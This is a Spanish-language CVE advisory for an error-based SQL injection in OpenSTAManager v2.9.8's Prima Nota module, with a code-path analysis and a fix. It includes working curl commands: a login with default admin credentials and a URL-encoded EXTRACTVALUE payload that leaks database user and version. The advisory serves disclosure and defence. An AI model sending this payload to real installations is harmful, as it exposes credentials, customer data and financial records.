
CVE-2026-24419 - OpenSTAManager tiene una inyección SQL en el módulo Prima Nota
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-24419 |
| Gravedad | ALTA |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Vulnerabilidad crítica de inyección SQL basada en errores en el módulo Prima Nota (Diario) de OpenSTAManager v2.9.8 que permite a atacantes autenticados extraer el contenido completo de la base de datos, incluidas credenciales de usuario, PII de clientes y registros financieros, a través de mensajes de error XML mediante la inyección de SQL malicioso en los parámetros de la URL.
Estado: ✅ Confirmado y probado en una instancia en vivo (v2.9.8)
Parámetros vulnerables: id_documenti (parámetros GET)
Endpoint afectado: /modules/primanota/add.php
Tipo de ataque: Inyección SQL basada en errores (cláusula IN)
OpenSTAManager v2.9.8 contiene una vulnerabilidad crítica de inyección SQL basada en errores en el archivo add.php del módulo Prima Nota (Diario). La aplicación no valida que los valores separados por comas de los parámetros GET sean enteros antes de usarlos en cláusulas SQL IN(), lo que permite a los atacantes inyectar comandos SQL arbitrarios y extraer datos confidenciales a través de mensajes de error XPATH.
Cadena de vulnerabilidad:
Punto de entrada: /modules/primanota/add.php (Líneas 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Impacto: La función get() recupera parámetros de URL controlados por el usuario, explode(',', (string) ...) los divide por comas, pero NO hay validación que garantice que los elementos sean enteros.
Punto de inyección SQL: /modules/primanota/add.php (Línea 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Impacto: Los elementos de la matriz $id_documenti se concatenan directamente con implode() sin validación de tipo ni prepare(), lo que permite la inyección SQL completa.
Análisis de causa raíz:
La vulnerabilidad existe porque:
get('id_documenti') devuelve cadenas controladas por el usuarioexplode(',', (string) $value) divide por comas pero no valida tiposimplode(',', $array) concatena los elementos de la matriz directamente en SQL?id_documenti=1) AND EXTRACTVALUE(...) %23Ruta de código afectada:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
Paso 1: Iniciar sesión
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Paso 2: Verificar la vulnerabilidad (inyección SQL basada en errores)
Prueba 1: Extraer usuario y versión de la base de datos
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Respuesta (mensaje de error visible para el atacante):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Todos los usuarios autenticados con acceso al módulo Prima Nota (Diario).
Corrección principal: validación de tipos
Archivo: /modules/primanota/add.php
ANTES (Vulnerable - Líneas 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
DESPUÉS (Corregido):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Descubierto por Łukasz Rybak
Esta CVE fue divulgada de manera responsable siguiendo prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí es solo con fines educativos y defensivos.